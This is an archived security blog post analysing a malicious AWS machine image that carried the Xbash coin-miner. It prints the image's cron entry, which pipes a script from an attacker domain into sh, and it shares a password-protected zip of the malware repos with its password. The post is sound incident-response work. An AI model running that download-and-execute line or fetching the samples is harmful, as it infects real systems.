Summit Route - Investigating malicious AMIs

Archived: 2026-04-05 16:29:55 UTC

A few weeks ago a CVE appeared for the AWS CLI, CVE-2018-15869. The explanation is that if you don't specify an `--owners` flag when describing AMI images via the AWS CLI, you can end up with "potentially malicious Amazon Machine Image (AMI) from the uncurated public community AMI catalog".

Linked from there is a Github issue where someone stated:

> "I encountered exactly this bug last week, ended up with a Monero miner instead of a vanilla Ubuntu AMI when the owner filter was missed."

This post will investigate one of these malicious AMIs and introduce a new CloudMapper command `amis` to help you investigate your existing EC2s.

Investigating a malicious AMI

Someone privately told me they encountered this and had saved a copy of the AMI. They were kind enough to share this with my account so I could investigate.

Normally if you had a compromised EC2 running, you could take a snapshot, but in this case, I needed to actually start the AMI as an EC2 in order to snapshot it so I could investigate it. I don't believe it is possible to analyze an AMI without doing that. This was the first time I ran into the scenario of an AMI without an EC2 already running, and this process worked for this situation.

Grabbing a snapshot by starting an AMI

If you do start a suspicious AMI as an EC2 as I did, ensure you do not give it an IAM role so it does not have any privileges. You'll also want to start it in an isolated VPC with a Security Group that does not allow it to call out. When you do local malware anlysis it is best practice to not have Internet access to avoid any indication that you're doing analysis, so I'm trying to recreate that here, even though I'll only be running this instance for about a minute in order to create the snapshot.

You also should create it in a VPC that has `enableDnsSupport` disabled, as DNS is a possible beaconing path even when Security Groups are locked down. This is because by default DHCP on AWS tells instances to use AWS's own DNS services at `169.254.169.253`, and traffic to/from `169.254.0.0/16` (the link-local range) can't be denied by Security Groups. That traffic is also not recorded in VPC Flow Logs, and you have no access to those DNS logs, which is doubly annoying because the AWS GuardDuty service does have access to them. Ranting about DNS and these oddities is a story for another day though. Back to DFIR!

So I go to start up the instance backed with this AMI, and oddly this AMI doesn't support HVM virtualization, which means instead of using a free-tier t2.micro, I have to use an old-school t1.micro and pay a penny for the boot -> snapshot -> stop process. :(

Once running, in the web console, you can click on the Root device volume, then the EBS ID that pops up, then click Actions -> Create Snapshot. Then Stop the instance.

Attaching the Snapshot

Once you have a snapshot, create a volume from it. Start up a new, trusted, EC2 instance, and attach this volume to it after it boots. I ran an Amazon Linux AMI. I then ssh'd in and ran `lsblk` which tells me the devices attached to the EC2, and then `sudo mount /dev/xvdf /mnt`. For those that have played my flaws.cloud CTF, you'll recognize this process from here in Level 4.

Finding the malicious files

Just like in flAWS, I decided to then look for recently created files, using `find /mnt -type f -mtime 100` and discovered `/etc/cron.d/root` that contained the single line:

```
*/5 * * * * root /usr/bin/curl -sL https://xmr.enjoytopic.tk/l2/r88.sh|sh
```

Investigating the malware

The `.tk` domains are free domains and almost all of them are malicious. I ran `dig` on that domain and found a single `A` record for `185.199.108.153`. Running `whois` on that IP shows it belongs to Github, so this must be hosted out of a repo. I searched on Github for that domain and found the Github repo https://github.com/tightsoft/tightsoft.github.io which contains that domain in a `CNAME` file. That repo shows me the other malicious files and that it has been around for over a year, with 236 commits to it, so this appears to be the central repo used by this actor.

While searching for the domain, I also discovered that Palo Alto Networks had recently published a story about this malware titled [Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows](). You can read their write-up to learn more about what the malware does (mines cryptocurrencies, asks for ransom money, and tries to exploit things to spread).

The actor seems to add look-alike domains for anyone that publishes stories on them as I've seen the domains paloaltonetworks[.]tk and threatpost[.]tk associated with this campaign. … So I guess I can expect that for my domain. :(

The domain d.paloaltonetworks[.]tk was the only domain I found that was not directly tied to a Github repo, and instead is hosted behind Cloudflare. The threatpost[.]tk Github repo is slightly different and is hosted on Github in the aptly named repo https://github.com/freebtcminer/freebtcminer.github.io

Malicious github repos download

As I've reported these repos to Github, I assume they'll remove them, so I've collected these repos and saved a copy in the password-protected zip file at http://summitroute-password-protected-malware-for-analysis.s3.amazonaws.com/infected_ami_research.zip

The password is: infect3d

Looking for more infected AMIs

The person that provided this AMI to me did not know much about its origin unfortunately. They simply said they had been alerted to the existance of a coin miner in their account and had traced it back to this AMI which they made a copy of. This malware will attempt to exploit vulnerabilities associated with Hadoop, Redis, and ActiveMQ, so one possibility is that the creator of this AMI had been a victim and had their system infected before they created the AMI. This AMI did have ActiveMQ installed on it.

Update 2018.09.24: I removed a paragraph here regarding a misunderstanding on my part about AMI IDs.

In an email with aws-security@amazon.com, I received the response:

> "currently there are no infected Community AMIs to our knowledge and we are taking all necessary actions in regards to this issue."

I also received an email a few days ago from AWS informing me about a public EBS snapshot I have (part of flaws.cloud). I believe all AWS customers with public AMIs or EBS snapshots received this email, so it looks like AWS has taken some action to clean up their AMI and EBS snapshot marketplace.

Campaign history

I have the following dates to try to track down when this campaign started:

- 2017-06-21: Github repo github.com/tightsoft/tightsoft.github.io created.
- 2018-03-24: First cron logs recorded in instance, so this appears to the be the boot date of the instance.
- 2018-04-17: Cron log shows repeated requests to download and execute lnk0[.]com/VhscA1 and lnk0[.]com/BtoUt4 I believe this must have been the original download server and this must have been when the instance was first exploited.
- 2018-04-20: Creation date of /etc/cron.d/root on the malicious AMI, and also the cron log switches over to trying to download and execute xmr.enjoytopic[.]tk/l2/r88.sh and x[.]co/6nPMR This is likely just the adversary changing how their malware works.
- 2018-04-23: Last logs recorded, so this must have been when this instance was shutdown to create the AMI.
- 2018-05-07: CNAME file created in the tightsoft github repo for xmr.enjoytopic[.]tk

- 2018-08-13: The github issue appears where someone mentions they ended up with a malicious AMI.
- 2018-09-14: CVE-2018-15869 is made public.

Avoiding malicious AMIs

You should ensure you are running the latest version of the AWS CLI and other libraries to avoid CVE-2018-15869.

You should also ensure you are getting AMIs from trusted sources. You should have procedures for how new EC2s should be created, including what AMI's they should use. This will also help you avoid problems of a fraction of your servers running Centos and another fraction running Ubuntu or some other combination of operating systems and features.

As a first step, you should identify the OS vendor you want to use and document their account ID so you can ensure you get AMIs from that account. Eventually you'll start creating your own AMIs, in which case you'll either create the AMIs directly in the account where they'll be used, or have a trusted account that you pull AMIs from. One philosophy, used by Netflix, advocates baking an AMI for every single code update as written in their post How We Build Code at Netflix.

Checking your existing EC2s

The above advice is good for the future, but you already have existing EC2s and you might be wondering where they came from? Don't worry, Summit Route has your back. I've added a new command `amis` to Duo Security's CloudMapper that will cross-check all of the AMI IDs for your EC2s with the private AMIs in your account and the public AMIs that exist. You first need to get a copy of the public AMIs with:

```
 mkdir -p data/aws
cd data/aws
aws ec2 describe-regions | jq -r '.Regions[].RegionName' | xargs -I{} mkdir {}
aws ec2 describe-regions | jq -r '.Regions[].RegionName' | xargs -I{} sh -c 'aws --region {} ec2 describe-images
```

Then you can run the command. Here is some sample output from the flaws.cloud account:

```
 $ python cloudmapper.py amis --account flaws
Account Name      Region Name       Instance Id       Instance Name     AMI ID   Is Public         AMI Descriptic
flaws    us-west-2         i-05bef8a081f307783       None     ami-7c803d1c      public   ubuntu/images/hvm-ssd/u
```

This is tab-deliminated so it looks nicer in Excel. You'll see that it identifies all of the EC2 instances in the account and their associated AMI IDs. It then determines if this is `public`, `private`, or `unknown`. The label `public` means this is public AMI, and `private` means this AMI is owned by this account. Having an `unknown` AMI is fairly common as it means it is not private to this account and not currently public, so it may have been public previously and removed, may have been privately created in this account and then removed, or may have been shared from another account. It will then attempt to find a description for the AMI, and finally lists the

account ID that this came from. In this case `099720109477` is the Ubuntu account's ID. Unforrtunately, there is no way I know of to easily confirm that.

I've found this command most useful when assessing accounts to do counts of what external accounts the AMIs came from. You can sometimes find a single EC2 that was built from an AMI that came from an account that no other EC2s were built from. These are always interesting and worth further inspection.

Note that both gathering the public AMIs and running this command can take a few minutes to complete. You can download a copy of the public AMI list I have from at public_amis-2018_09_22.tar.gz. This 92MB file will decompress to 1.3GB.

Conclusion

Amazon appears to have taken action to avoid this problem, but you should still take steps to ensure you are getting your AMIs, or any resources in your supply chain, from trusted sources. I also reported my findings to Github, CloudFlare, Amazon, and Palo Alto Networks, so hopefully this campaign will be further crippled.

IOCs

Domains used for downloading parts of the malware.

```
 lnk0[.]com/VhscA1
lnk0[.]com/BtoUt4
xmr.enjoytopic[.]tk - Points to https://github.com/tightsoft/tightsoft.github.io
x[.]co/6nPMR
d.paloaltonetworks[.]tk
threatpost[.]tk - Points to https://github.com/freebtcminer/freebtcminer.github.io/blob/master/CNAME
3g2upl4pq6kufc4m[.]tk
e3sas6tzvehwgpak[.]tk - Points to https://github.com/yj12ni/yj12ni.github.io
sample.sydwzl[.]cn - Points to https://github.com/rocke/rocke.github.io
```
